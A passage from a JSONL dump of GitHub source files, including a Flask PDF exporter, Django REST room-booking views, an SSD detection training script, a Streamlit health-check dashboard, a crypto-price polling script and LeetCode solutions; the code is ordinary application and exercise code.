= 0\n for w in dic1:\n if dic1[w]==1 and w in dic2 and dic2[w]==1:\n res+=1\n return res","repo_name":"CA2528357431/leetcode-note","sub_path":"LIST1/0442 2085.py","file_name":"0442 2085.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"36123780607","text":"from flask import render_template\nfrom flask_babel import get_locale\nfrom flask_weasyprint import render_pdf, HTML\n\nfrom web.models import Control\n\ngenerators = dict()\n\n\ndef generator(text):\n def real_decorator(func):\n if text in generators:\n raise ValueError(f'{text} already exist in generators')\n\n generators[text] = func\n return func\n\n return real_decorator\n\n\n@generator('PDF')\ndef generate_pdf(result):\n controls = {\n item.number: item\n for item in Control.query.filter_by(language=get_locale().language)\n }\n\n data = render_template(\n 'results/document.html',\n all_controls=controls,\n results=result\n )\n\n return render_pdf(HTML(string=data))\n\n","repo_name":"TiunovNN/security_scanner","sub_path":"src/web/results/exports.py","file_name":"exports.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"43298868792","text":"\"\"\"empty message\n\nRevision ID: 1d3098a15e4f\nRevises: daf15d36661f\nCreate Date: 2021-01-08 14:28:48.403819\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '1d3098a15e4f'\ndown_revision = 'daf15d36661f'\n\nfrom alembic import op\nimport sqlalchemy as sa\nimport sqlalchemy_utils\n\nimport app\nimport app.extensions\n\n\n\ndef upgrade():\n \"\"\"\n Upgrade Semantic Description:\n ENTER DESCRIPTION HERE\n \"\"\"\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('notification',\n sa.Column('created', sa.DateTime(), nullable=False),\n sa.Column('updated', sa.DateTime(), nullable=False),\n sa.Column('viewed', sa.DateTime(), nullable=False),\n sa.Column('guid', app.extensions.GUID(), nullable=False),\n sa.Column('timestamp', sa.DateTime(), server_default=sa.text('(CURRENT_TIMESTAMP)'), nullable=False),\n sa.Column('status', sa.String(length=255), nullable=False),\n sa.Column('message_template', sa.String(), nullable=False),\n sa.Column('message_values', sa.JSON(), nullable=True),\n sa.Column('recipient_guid', app.extensions.GUID(), nullable=True),\n sa.ForeignKeyConstraint(['recipient_guid'], ['user.guid'], name=op.f('fk_notification_recipient_guid_user')),\n sa.PrimaryKeyConstraint('guid', name=op.f('pk_notification'))\n )\n with op.batch_alter_table('notification', schema=None) as batch_op:\n batch_op.create_index(batch_op.f('ix_notification_recipient_guid'), ['recipient_guid'], unique=False)\n\n # ### end Alembic commands ###\n\n\ndef downgrade():\n \"\"\"\n Downgrade Semantic Description:\n ENTER DESCRIPTION HERE\n \"\"\"\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('notification', schema=None) as batch_op:\n batch_op.drop_index(batch_op.f('ix_notification_recipient_guid'))\n\n op.drop_table('notification')\n # ### end Alembic commands ###\n","repo_name":"Emily-Ke/houston","sub_path":"migrations/versions/1d3098a15e4f_.py","file_name":"1d3098a15e4f_.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"40602149017","text":"from .models import TahuraEvent\nfrom .schemas import EventModel, EventResponse, EventsResponse\n\nclass EventViewControl:\n\n def post(self, event:EventModel):\n response = EventResponse()\n response.badrequest()\n response.data = TahuraEvent.addEvent(event)\n response.created()\n return response\n\n def get(self):\n response = EventsResponse()\n response.badrequest()\n response.data = TahuraEvent.getEvent()\n response.success()\n return response\n\n def getSingle(self, id):\n response = EventResponse()\n response.notfound()\n event = TahuraEvent.getEventBy(TahuraEvent.id_event==id)\n if event is not None:\n response.data=event\n response.success()\n return response\n\n def update(self, event: EventModel,id):\n response = EventResponse()\n response.notfound()\n event = TahuraEvent.update(event, id)\n if event is not None:\n response.data = event\n response.success()\n return response\n\n def delete(self, id):\n response = EventResponse()\n response.notfound()\n event = TahuraEvent.delete(id)\n if event == True:\n response.success()\n response.message=\"success delete data\"\n return response","repo_name":"Abi180798/nuraksaEvent","sub_path":"app/TahuraEvent/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24938634254","text":"import time\nimport ssd_net\nimport mobilenet\nimport bbox_loss\nimport cityscape_dataset\nimport bbox_helper\nimport module_util\nimport os\nfrom glob import glob\nimport numpy as np\nimport json\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as pat\nimport torch\nimport random\nimport torch.optim\nfrom torch.autograd import Variable\nimport pickle\nimport torch.nn.functional as F\n\n# Set default tenosr type, 'torch.cuda.FloatTensor' is the GPU based FloatTensor\ntorch.set_default_tensor_type('torch.cuda.FloatTensor')\n\ncurrent_directory = os.getcwd() # current working directory\ntraining_ratio = 0.8\nvalidation_ratio = 0.5\n\nif __name__ == '__main__':\n\n polygons_label_path = \"/home/datasets/full_dataset_labels/train_extra\"\n images_path = \"/home/datasets/full_dataset/train_extra\"\n # polygons_label_path = os.path.join(current_directory, \"cityscapes_samples_labels\")\n # images_path = os.path.join(current_directory, \"cityscapes_samples\")\n\n torch.multiprocessing.set_start_method(\"spawn\")\n\n # compl_poly_path = os.path.join(polygons_label_path, \"*\", \"*_polygons.json\")\n #\n # poly_folders = glob(compl_poly_path)\n #\n # poly_folders = np.array(poly_folders)\n #\n # image_label_list = []\n #\n # for file in poly_folders:\n # with open(file, \"r\") as f:\n # frame_info = json.load(f)\n # length = len(frame_info['objects'])\n # file_path = file\n # image_name = file_path.split(\"/\")[-1][:-23]\n # for i in range(length):\n # label = frame_info['objects'][i]['label']\n # if label == \"ego vehicle\":\n # break\n # polygon = np.array(frame_info['objects'][i]['polygon'], dtype=np.float32)\n # left_top = np.min(polygon, axis=0)\n # right_bottom = np.max(polygon, axis=0)\n # ltrb = np.concatenate((left_top, right_bottom))\n # if ltrb.shape[0] != 4:\n # print(file_path)\n # image_label_list.append(\n # {'image_name': image_name, 'file_path': file_path, 'label': label, 'bbox': ltrb})\n #\n # image_ll_len = len(image_label_list)\n #\n # # get images list\n #\n # compl_img_path = os.path.join(images_path, \"*\", \"*\")\n #\n # images = glob(compl_img_path)\n #\n # images = np.array(images)\n #\n # print(\"creating image data list\")\n # print(len(images))\n #\n # # lsit = []\n # #\n # # for i in range(image_ll_len):\n # # lsit.append(image_label_list[i]['label'])\n # #\n # # print(np.asarray(set(lsit)))\n #\n #\n # curr_folder = 'a'\n # train_valid_datlist = []\n # for i in range(0, len(images)):\n # img_folder = images[i].split('/')[-2]\n # img_name = images[i].split('/')[-1]\n # img_iden = img_name[:-16]\n # image_path = os.path.join(images_path, img_folder, img_name)\n # if img_folder != curr_folder:\n # print(img_folder)\n # print(image_path)\n # curr_folder = img_folder\n # b_boxes = []\n # labels = []\n # cnt = 0\n # for i in range(image_ll_len):\n # if image_label_list[i][\"image_name\"] == img_iden:\n # if image_label_list[i]['label'] == 'car':\n # label = 1\n # cnt += 1\n # bbox = image_label_list[i]['bbox']\n # b_boxes.append(bbox)\n # labels.append(label)\n # elif image_label_list[i]['label'] == 'cargroup':\n # cnt += 1\n # label = 2\n # bbox = image_label_list[i]['bbox']\n # b_boxes.append(bbox)\n # labels.append(label)\n # elif image_label_list[i]['label'] == 'person':\n # cnt += 1\n # label = 3\n # bbox = image_label_list[i]['bbox']\n # b_boxes.append(bbox)\n # labels.append(label)\n # elif image_label_list[i]['label'] == 'persongroup':\n # cnt += 1\n # label = 4\n # bbox = image_label_list[i]['bbox']\n # b_boxes.append(bbox)\n # labels.append(label)\n # elif image_label_list[i]['label'] == 'traffic sign':\n # label = 5\n # bbox = image_label_list[i]['bbox']\n # b_boxes.append(bbox)\n # labels.append(label)\n # if cnt == 0:\n # continue\n # train_valid_datlist.append({'image_path': image_path, 'labels': labels, 'bboxes': b_boxes})\n\n outfile = os.path.join(current_directory, 'saved_list2')\n\n # with open(outfile, 'wb') as fp:\n # pickle.dump(train_valid_datlist, fp)\n #\n # exit()\n\n with open(outfile, 'rb') as fp:\n train_valid_datlist = pickle.load(fp)\n\n print(len(train_valid_datlist))\n\n train_valid_datlist = train_valid_datlist\n\n random.shuffle(train_valid_datlist)\n total_training_validation_items = len(train_valid_datlist)\n batch_size = 16\n\n # Training dataset.\n n_train_sets = training_ratio * total_training_validation_items\n train_set_list = train_valid_datlist[: int(n_train_sets)]\n\n # Validation dataset.\n n_valid_sets = (total_training_validation_items - n_train_sets ) * validation_ratio\n valid_set_list = train_valid_datlist[int(n_train_sets):int(n_train_sets+n_valid_sets)]\n\n # Test dataset.\n n_test_sets = (total_training_validation_items - n_train_sets ) * validation_ratio\n test_set_list = train_valid_datlist[\n int(n_train_sets + n_valid_sets): int(n_train_sets + n_valid_sets + n_test_sets)]\n\n with open('train_list', 'wb') as fp:\n pickle.dump(train_set_list, fp)\n\n with open('valid_list', 'wb') as fp:\n pickle.dump(valid_set_list, fp)\n\n with open('test_list', 'wb') as fp:\n pickle.dump(test_set_list, fp)\n\n\n\n\n train_dataset = cityscape_dataset.CityScapeDataset(train_set_list)\n train_data_loader = torch.utils.data.DataLoader(train_dataset, batch_size=batch_size, shuffle=True, num_workers=0)\n print('Total training items', len(train_dataset), ', Total training batches per epoch:', len(train_data_loader))\n print(\"batch_size : \", batch_size)\n\n valid_dataset = cityscape_dataset.CityScapeDataset(valid_set_list)\n valid_data_loader = torch.utils.data.DataLoader(valid_dataset, batch_size=batch_size, shuffle=True, num_workers=0)\n print('Total validation items', len(valid_dataset), ', Total validation batches per epoch:', len(valid_data_loader))\n\n # train_batch_idx, (train_input, train_label) = next(enumerate(train_data_loader))\n net = ssd_net.SSD(num_classes=6)\n\n net = net.cuda()\n\n criterion = bbox_loss.MultiboxLoss()\n\n #optimizer = torch.optim.SGD(net.parameters(), lr=0.001, momentum=0.9,weight_decay=5e-4)\n optimizer = torch.optim.Adam(net.parameters(), lr=1e-2)\n\n print(\"start train\")\n\n itr = 0\n max_epochs = 10\n train_losses = []\n valid_losses = []\n\n start_time = time.time()\n\n model_path = os.path.join(current_directory, 'SSDnet_crop1.pth')\n\n net_state = torch.load(model_path)\n\n net.load_state_dict(net_state)\n\n curr_epoch = 0\n\n prior_layer_cfg = [{'layer_name': 'Conv11', 'feature_dim_hw': (19, 19), 'bbox_size': (60, 60),\n 'aspect_ratio': [2, 3, 4]},\n {'layer_name': 'Conv13', 'feature_dim_hw': (10, 10), 'bbox_size': (102, 102),\n 'aspect_ratio': [2, 3, 4]},\n {'layer_name': 'Conv14_2', 'feature_dim_hw': (5, 5), 'bbox_size': (144, 144),\n 'aspect_ratio': [2, 3, 4]},\n {'layer_name': 'Conv15_2', 'feature_dim_hw': (3, 3), 'bbox_size': (186, 186),\n 'aspect_ratio': [2]},\n {'layer_name': 'Conv16_2', 'feature_dim_hw': (2, 2), 'bbox_size': (228, 228),\n 'aspect_ratio': [2]},\n {'layer_name': 'Conv16_2', 'feature_dim_hw': (1, 1), 'bbox_size': (270, 270),\n 'aspect_ratio': [2]}\n ]\n prior_bboxes = bbox_helper.generate_prior_bboxes(prior_layer_cfg)\n prior_bboxes = prior_bboxes.unsqueeze(0)\n\n for epoch_idx in range(0, max_epochs):\n for train_batch_idx, (images, loc_targets, conf_targets) in enumerate(train_data_loader):\n itr += 1\n net.train()\n\n # Zero the parameter gradients\n optimizer.zero_grad()\n\n # Forward\n images = Variable(images.cuda()) # Use Variable(*) to allow gradient flow\n loc_targets = Variable(loc_targets.cuda())\n conf_targets = Variable(conf_targets.cuda()).long()\n conf_preds, loc_preds = net.forward(images) # Forward once\n\n # Compute loss\n # forward(self, confidence, pred_loc, gt_class_labels, gt_bbox_loc):\n loss = criterion(conf_preds, loc_preds, conf_targets, loc_targets)\n\n\n if loss == Variable(torch.Tensor([0])):\n continue\n\n loss.backward()\n\n # Update the parameters with SGD\n optimizer.step()\n\n train_losses.append((itr, loss.item()))\n\n if train_batch_idx % 50 == 0:\n print('Epoch: %d Itr: %d Loss: %f' % (epoch_idx, itr, loss.item()))\n print('elasped time:', time.time() - start_time)\n print('Training Loss', loss)\n\n # Run the validation every 200 iteration:\n if train_batch_idx % 200 == 0:\n net.eval() # [Important!] set the network in evaluation model\n valid_loss_set = [] # collect the validation losses\n valid_itr = 0\n\n # Do validation\n for valid_batch_idx, (valid_img, valid_locs, valid_labels) in enumerate(valid_data_loader):\n valid_img = Variable(valid_img.cuda()) # use Variable(*) to allow gradient flow\n v_pred_conf, v_pred_locs = net.forward(valid_img) # forward once\n\n for i in range(batch_size):\n index = valid_labels[i] > 0\n if index.data.sum() > 0:\n print(valid_labels[i,index])\n out = F.softmax(v_pred_conf[i]).detach()\n print('postives : ', out[index])\n locs = v_pred_locs[i]\n print('locs', locs[index])\n locs = locs.unsqueeze(0)\n bbox = bbox_helper.loc2bbox(locs,prior_bboxes)\n print('bboxes',bbox[0,index])\n break\n\n\n\n\n # Compute loss\n valid_locs = Variable(valid_locs.cuda())\n valid_labels = Variable(valid_labels.cuda()).long()\n valid_loss = criterion(v_pred_conf, v_pred_locs, valid_labels, valid_locs)\n print('Validation Loss', valid_loss)\n valid_loss_set.append(valid_loss.item())\n\n valid_itr += 1\n if valid_itr > 5:\n break\n\n # Compute the avg. validation loss\n avg_valid_loss = np.mean(np.asarray(valid_loss_set))\n print('Valid Epoch: %d Itr: %d Loss: %f' % (epoch_idx, itr, float(avg_valid_loss)))\n valid_losses.append((itr, avg_valid_loss))\n\n if epoch_idx != curr_epoch:\n net_state = net.state_dict() # serialize trained model\n torch.save(net_state, '/home/vramiyas/SSDnet_crop1.pth') # save to disk\n\n curr_epoch = epoch_idx\n net_state = net.state_dict() # serialize trained model\n torch.save(net_state, '/home/vramiyas/SSDnet_crop1.pth') # save to disk\n","repo_name":"vishnusanjayrs/SSD_Detection","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":12016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25010559471","text":"from django.conf import settings\nfrom django.utils import timezone\nfrom django.db import transaction\n\nfrom rest_framework.views import APIView\nfrom rest_framework.permissions import IsAuthenticatedOrReadOnly\nfrom rest_framework.response import Response\nfrom rest_framework.exceptions import NotFound, ParseError, PermissionDenied\nfrom rest_framework.status import HTTP_204_NO_CONTENT, HTTP_400_BAD_REQUEST\n\nfrom .models import Room, Amenity\nfrom .serializers import RoomListSerializer, RoomDetailSerializer, AmenitySerializer\n\nfrom categories.models import Category\nfrom reviews.serializers import ReviewSerializer\nfrom medias.serializers import PhotoSerializer\nfrom bookings.serializers import PublicBookingSerializer, CreateRoomBookingerializer\nfrom bookings.models import Booking\n\n\nclass Amenities(APIView):\n \n def get(self, request):\n all_amenities = Amenity.objects.all()\n serializer = AmenitySerializer(all_amenities, many=True)\n return Response(serializer.data)\n \n def post(self, request):\n serializer = AmenitySerializer(data=request.data)\n if serializer.is_valid():\n new_amenity = serializer.save()\n return Response(AmenitySerializer(new_amenity).data)\n else:\n return Response(serializer.errors, status=HTTP_400_BAD_REQUEST)\n \n\nclass AmenityDetail(APIView):\n \n def get_object(self, pk):\n try:\n amenity = Amenity.objects.get(pk=pk)\n return amenity\n except Amenity.DoesNotExist:\n raise NotFound\n \n def get(self, request, pk):\n amenity = self.get_object(pk)\n serializer = AmenitySerializer(amenity)\n return Response(serializer.data)\n \n def put(self, request, pk):\n amenity = self.get_object(pk)\n serializer = AmenitySerializer(amenity, data=request.data, partial=True)\n if serializer.is_valid():\n updated_amenity = serializer.save()\n return Response(AmenitySerializer(updated_amenity).data)\n else:\n return Response(serializer.errors, status=HTTP_400_BAD_REQUEST)\n \n def delete(self, request, pk):\n amenity = self.get_object(pk)\n amenity.delete()\n return Response(status=HTTP_204_NO_CONTENT)\n\n\nclass Rooms(APIView):\n \n permission_classes = [IsAuthenticatedOrReadOnly]\n \n def get(self, request):\n all_rooms = Room.objects.all()\n serializer = RoomListSerializer(all_rooms, many=True, context={\"request\":request})\n return Response(serializer.data)\n \n def post(self, request):\n serializer = RoomDetailSerializer(data=request.data)\n if serializer.is_valid():\n category_pk = request.data.get(\"category\") # (required) -> 새로운 객체 생성 전에 찾아와서 넘겨줌\n if not category_pk:\n raise ParseError(\"Category is required.\")\n try:\n category = Category.objects.get(pk=category_pk)\n if category.kind == Category.CategoryKindChoices.EXPERIENCES:\n raise ParseError(\"The category kind should be 'rooms'\")\n except Category.DoesNotExist:\n raise ParseError(\"Category not found\")\n try:\n with transaction.atomic():\n new_room = serializer.save(owner=request.user, category=category)\n amenities = request.data.get(\"amenities\") # (not required) -> 새로운 객체 생성 후에 추가 작업\n for amenity_pk in amenities:\n amenity = Amenity.objects.get(pk=amenity_pk)\n new_room.amenities.add(amenity) # manytomany에 값 추가\n return Response(RoomDetailSerializer(new_room).data)\n except Exception: # 어떤 에러가 발생하든지\n raise ParseError(\"Amenity not found\") # 사용자에게 에러 메시지 표시\n \n else:\n return Response(serializer.errors, status=HTTP_400_BAD_REQUEST)\n \n \nclass RoomDetail(APIView):\n \n permission_classes = [IsAuthenticatedOrReadOnly]\n \n def get_object(self, pk):\n try:\n return Room.objects.get(pk=pk)\n except Room.DoesNotExist:\n raise NotFound\n \n def get(self, request, pk):\n room = self.get_object(pk)\n serializer = RoomDetailSerializer(room, context={\"request\":request})\n return Response(serializer.data)\n \n def put(self, request, pk):\n room = self.get_object(pk)\n if room.owner != request.user:\n raise PermissionDenied\n serializer = RoomDetailSerializer(room, data=request.data, partial=True)\n \n if request.data.get(\"category\"):\n try:\n category_pk = request.data.get(\"category\")\n new_category = Category.objects.get(pk=category_pk)\n if new_category.kind != Category.CategoryKindChoices.ROOMS:\n category = room.category\n raise ParseError(\"Category kind should be 'room'\")\n else: \n category = new_category\n except Category.DoesNotExist:\n raise ParseError(\"Category not found\")\n else:\n category = room.category\n \n if serializer.is_valid():\n try:\n with transaction.atomic(): \n updated_room = serializer.save(category=category)\n \n if request.data.get(\"amenities\"):\n new_amenities = request.data.get(\"amenities\")\n updated_room.amenities.clear()\n for amenity_pk in new_amenities:\n amenity = Amenity.objects.get(pk=amenity_pk)\n updated_room.amenities.add(amenity)\n return Response(RoomDetailSerializer(updated_room).data)\n except Exception:\n raise ParseError(\"Amenity not found\")\n else:\n return Response(serializer.errors, status=HTTP_400_BAD_REQUEST)\n \n def delete(self, request, pk):\n room = self.get_object(pk)\n if room.owner != request.user:\n raise PermissionDenied\n room.delete()\n return Response(status=HTTP_204_NO_CONTENT)\n \n \nclass RoomReviews(APIView):\n \n permission_classes = [IsAuthenticatedOrReadOnly]\n \n def get_object(self, pk):\n try:\n return Room.objects.get(pk=pk)\n except Room.DoesNotExist:\n raise NotFound\n \n def get(self, request, pk):\n try:\n page = int(request.query_params.get('page', 1))\n print(page)\n except ValueError:\n page = 1\n \n page_size = settings.PAGE_SIZE # 한 번에 3개씩\n start = (page - 1) * page_size\n end = start + page_size\n room = self.get_object(pk)\n serializer = ReviewSerializer(room.reviews.all()[start:end], many=True)\n return Response(serializer.data)\n \n def post(self, request, pk):\n room = self.get_object(pk) \n serializer = ReviewSerializer(data=request.data)\n if serializer.is_valid():\n review = serializer.save(user=request.user, room=room)\n return Response(ReviewSerializer(review).data)\n else:\n return Response(serializer.errors, status=HTTP_400_BAD_REQUEST)\n \n \nclass RoomAmenities(APIView):\n \n def get_object(self, pk):\n try:\n return Room.objects.get(pk=pk)\n except Room.DoesNotExist:\n raise NotFound\n \n def get(self, request, pk):\n try:\n page = int(request.query_params.get('page', 1))\n print(page)\n except ValueError:\n page = 1\n \n page_size = settings.PAGE_SIZE # 한 번에 3개씩\n start = (page - 1) * page_size\n end = start + page_size\n room = self.get_object(pk)\n serializer = AmenitySerializer(room.amenities.all()[start:end], many=True)\n return Response(serializer.data)\n \n \nclass RoomPhotos(APIView):\n \n permission_classes = [IsAuthenticatedOrReadOnly]\n \n def get_object(self, pk):\n try:\n return Room.objects.get(pk=pk)\n except Room.DoesNotExist:\n raise NotFound\n \n def post(self, request, pk):\n room = self.get_object(pk)\n if room.owner != request.user:\n raise PermissionDenied\n \n serializer = PhotoSerializer(data=request.data)\n if serializer.is_valid():\n photo = serializer.save(room=room) # 해당 room에 사진 추가\n return Response(PhotoSerializer(photo).data)\n else: \n return Response(serializer.errors, status=HTTP_400_BAD_REQUEST)\n\n\nclass RoomBookings(APIView):\n \n permission_classes = [IsAuthenticatedOrReadOnly]\n \n def get_object(self, pk):\n try:\n return Room.objects.get(pk=pk)\n except Room.DoesNotExist:\n raise NotFound\n \n def get(self, request, pk):\n room = self.get_object(pk)\n now = timezone.localtime(timezone.now()).date()\n bookings = Booking.objects.filter(\n room=room, \n kind=Booking.BookingKindChoices.ROOM,\n check_in__gt=now, # 현재 날짜보다 뒤의 예약만 보여줌\n )\n serializer = PublicBookingSerializer(bookings, many=True)\n return Response(serializer.data)\n \n def post(self, request, pk):\n room = self.get_object(pk)\n serializer = CreateRoomBookingerializer(data=request.data)\n if serializer.is_valid():\n # custom validation 미래 날짜의 예약만 받아와야 함 \n booking = serializer.save(user=request.user, room=room, kind=Booking.BookingKindChoices.ROOM)\n return Response(PublicBookingSerializer(booking).data)\n else:\n return Response(serializer.errors, status=HTTP_400_BAD_REQUEST)\n\n\n\"\"\"\n{\n\"name\":\"hello\",\n\"country\":\"Korea\",\n\"city\":\"Seoul\",\n\"price\":2500,\n\"rooms\":3,\n\"toilets\":1,\n\"desc\":\"welcome\",\n\"address\":\"Imun 123\",\n\"category\":1,\n\"amenities\":[1,2,3],\n\"kind\":\"private_room\"\n}\n\"\"\"","repo_name":"yebinGold/airbnb-django-backend","sub_path":"rooms/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6209896616","text":"import json\nimport threading\nimport time\nimport traceback\n\nimport requests\nfrom requests.exceptions import ConnectionError\n\nfrom config import DATABASE, TIMEOUT_PUSH, EXCHANGES, BANK_RATE\nfrom utils import err_log, log\n\n\ndef convert_symbol(symbol):\n if symbol == 'THB_BTC':\n return '1'\n if symbol == 'THB_ETH':\n return '21'\n\n\ndef push_bank_rate():\n while True:\n try:\n r = requests.get('https://www.krungsri.com/bank/en/Other/ExchangeRate/Todayrates.html')\n if r is not None:\n bank_rate = \\\n r.text.split(\"\")[0].split('>')[-1]\n DATABASE.set(BANK_RATE, bank_rate)\n # print(bank_rate)\n time.sleep(TIMEOUT_PUSH)\n except ConnectionError:\n log('Too many requests', 'BankRate')\n err_log(traceback.format_exc())\n time.sleep(4)\n\n\ndef push_bxin_tick(symbol):\n while True:\n try:\n r = requests.get(f\"https://bx.in.th/api/orderbook/?pairing={convert_symbol(symbol)}\")\n if r is not None:\n r = json.loads(r.text)\n bid = round(float(r['bids'][0][0]), 2)\n ask = round(float(r['asks'][0][0]), 2)\n bid_amount = float(r['bids'][0][1])\n ask_amount = float(r['asks'][0][1])\n # print(symbol, ' ', bid, bid_amount, ' ', ask, ask_amount)\n DATABASE.set('bxin_' + symbol, json.dumps({\n 'ask': ask,\n 'bid': bid,\n 'ask_amount': ask_amount,\n 'bid_amount': bid_amount\n }))\n # print(DATABASE.get('bxin_' + symbol))\n time.sleep(TIMEOUT_PUSH)\n except ConnectionError:\n log('Too many requests', 'BXIN')\n err_log(traceback.format_exc())\n time.sleep(4)\n\n\ndef push_itbit_tick(symbol):\n while True:\n try:\n r = requests.get(f\"https://api.itbit.com/v1/markets/{symbol.replace('_', '')}/ticker\")\n if r is not None:\n r = json.loads(r.text)\n DATABASE.set('itbit_' + symbol, json.dumps({\n 'ask': float(r['ask']),\n 'bid': float(r['bid']),\n 'ask_amount': float(r['askAmt']),\n 'bid_amount': float(r['bidAmt'])\n }))\n # print(DATABASE.get('itbit_' + symbol))\n time.sleep(TIMEOUT_PUSH)\n except ConnectionError:\n log('Too many requests', 'ITBIT')\n err_log(traceback.format_exc())\n time.sleep(4)\n\n\ndef launch():\n for symbol in EXCHANGES['itbit']:\n th_itbit = threading.Thread(target=push_itbit_tick, kwargs={\"symbol\": symbol})\n th_itbit.start()\n for symbol in EXCHANGES['bxin']:\n th_bxin = threading.Thread(target=push_bxin_tick, kwargs={\"symbol\": symbol})\n th_bxin.start()\n th_bank_rate = threading.Thread(target=push_bank_rate)\n th_bank_rate.start()\n log('pusher start')\n\n\nif __name__ == \"__main__\":\n try:\n launch()\n except KeyboardInterrupt:\n exit()\n except:\n err_log(traceback.format_exc())\n","repo_name":"volkovartem77/arbitable","sub_path":"pusher.py","file_name":"pusher.py","file_ext":"py","file_size_in_byte":3261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26520235742","text":"import streamlit as st\nimport pandas as pd\nimport openpyxl\nfrom openpyxl.utils.dataframe import dataframe_to_rows\nfrom openpyxl.drawing.image import Image\nfrom io import BytesIO\n\n# Load the Excel file\nfile_path = 'health_check_3 (1).xlsx'\nxls = pd.ExcelFile(file_path)\n\n# Create a dictionary to store the color icons\ncolor_icons = {'Green': '🟢', 'Yellow': '🟡', 'Red': '🔴'}\n\n# Function to calculate the trend arrow\ndef calculate_trend_arrow(green_votes, yellow_votes, red_votes):\n max_votes = max(green_votes, yellow_votes, red_votes)\n total_votes = green_votes + yellow_votes + red_votes\n \n if max_votes == green_votes and max_votes == total_votes - max_votes:\n return '🔽' # Arrow down\n elif max_votes == red_votes and max_votes == total_votes - max_votes:\n return '🔼' # Arrow up\n else:\n return '' # No arrow\n\n# Define descriptions for the colors\ncolor_descriptions = {\n '🟢': \"The squad is happy with this, and see no major need for improvement right now.\",\n '🔴': \"This really sucks and needs to be improved.\",\n '🟡': \"There are some important problems that need addressing, but it’s not a disaster.\",\n '🔼': \"The total amount of Yellow & Blue votes are equal to this Green vote (Mixed Votes)\",\n '🔽': \"The total amount of Yellow & Red votes are equal to this Blue vote (Mixed Votes)\"\n}\n\n# Create a Streamlit dropdown menu to select a team\nselected_team = st.sidebar.selectbox(\"Select a squad\", ['All'] + xls.sheet_names)\n\n# Check if \"All\" is selected\nif selected_team == 'All':\n # Create an empty DataFrame to store the overview data\n overview_data = pd.DataFrame()\n\n # Iterate through each sheet in the Excel file\n for sheet_name in xls.sheet_names:\n df = xls.parse(sheet_name)\n max_colors = df.iloc[:, 1:].idxmax(axis=1)\n max_color_icons = max_colors.map(color_icons)\n\n # Calculate and add trend arrows to the max_color_icons\n trend_arrows = df.apply(lambda row: calculate_trend_arrow(row['Green'], row['Yellow'], row['Red']), axis=1)\n\n # Combine max_color_icons and trend_arrows into a single string\n max_color_icons_with_arrows = max_color_icons + \" \" + trend_arrows\n\n overview_data[sheet_name] = max_color_icons_with_arrows\n\n # Set the row index of the overview_data DataFrame to category names\n category_names = df['Category / Color']\n overview_data.set_index(category_names, inplace=True)\n\n # Set up Streamlit\n st.title(\"AGN Squads Health Check Overview\")\n\n # Display the overview data using st.write() with dataframe option\n st.dataframe(overview_data, height=430)\n \n # Create columns layout for Voting Results and Color Legend\n voting_results_col, color_legend_col = st.columns([1, 2])\n\n # Display color legend descriptions in the Color Legend column\n with color_legend_col:\n st.subheader(\"Color Legend\")\n for color, description in color_descriptions.items():\n st.markdown(f\"{color}: {description}\")\n\n\nelse:\n # Create an empty DataFrame to store the team's voting results\n team_data = pd.DataFrame()\n\n # Parse the selected team's sheet from the Excel file\n df = xls.parse(selected_team)\n max_colors = df.iloc[:, 1:].idxmax(axis=1)\n max_color_icons = max_colors.map(color_icons)\n\n # Calculate and add trend arrows to the max_color_icons\n trend_arrows = df.apply(lambda row: calculate_trend_arrow(row['Green'], row['Yellow'], row['Red']), axis=1)\n\n # Combine max_color_icons and trend_arrows into a single string\n max_color_icons_with_arrows = max_color_icons + \" \" + trend_arrows\n\n # Use the max_color_icons for row values\n team_data['Result'] = max_color_icons_with_arrows\n team_data['Green'] = df['Green']\n team_data['Yellow'] = df['Yellow']\n team_data['Red'] = df['Red']\n\n # Set the row index of the team_data DataFrame to category names\n category_names = df['Category / Color']\n team_data.set_index(category_names, inplace=True)\n\n # Set up Streamlit\n st.title(f\"{selected_team} Squad Health Check Voting Result\")\n\n # Display the overview data using st.write() with dataframe option\n st.dataframe(team_data, height=430)\n\n # Create columns layout for Voting Results and Color Legend\n voting_results_col, color_legend_col = st.columns([1, 2])\n\n # Display color legend descriptions in the Color Legend column\n with color_legend_col:\n st.subheader(\"Color Legend\")\n for color, description in color_descriptions.items():\n st.markdown(f\"{color}: {description}\")\n\n\n# Instructions for interactivity\nst.sidebar.markdown(\"### Instructions\")\nst.sidebar.markdown(\"- Each Team : Select a team above to view squad level voting result.\")\nst.sidebar.markdown(\"- All : Choose 'All' to view the entire squads voting result.\")\n# Footer\nst.sidebar.markdown(\"Made with ❤️ 💡 by Yelin\")","repo_name":"yelinyun94/team_health_check","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1661367463","text":"# O(n2)\ndef longestCommonPrefix(strs: List[str]) -> str:\n if not all(strs):\n return ''\n min_elem = min(strs)\n counter = 0\n for i in range(len(min_elem)):\n if len(set([elem[i] for elem in strs])) == 1:\n counter += 1\n else:\n break\n\n return min_elem[:counter]\n\n\n# O(n)\ndef second_solution(strs):\n prefix = []\n for x in zip(*strs):\n if len(set(x)) == 1:\n prefix.append(x[0])\n else:\n break\n return \"\".join(prefix)\n\n\n# O(n) интересное решение\ndef third(strs: List[str]) -> str:\n strs.sort()\n\n for 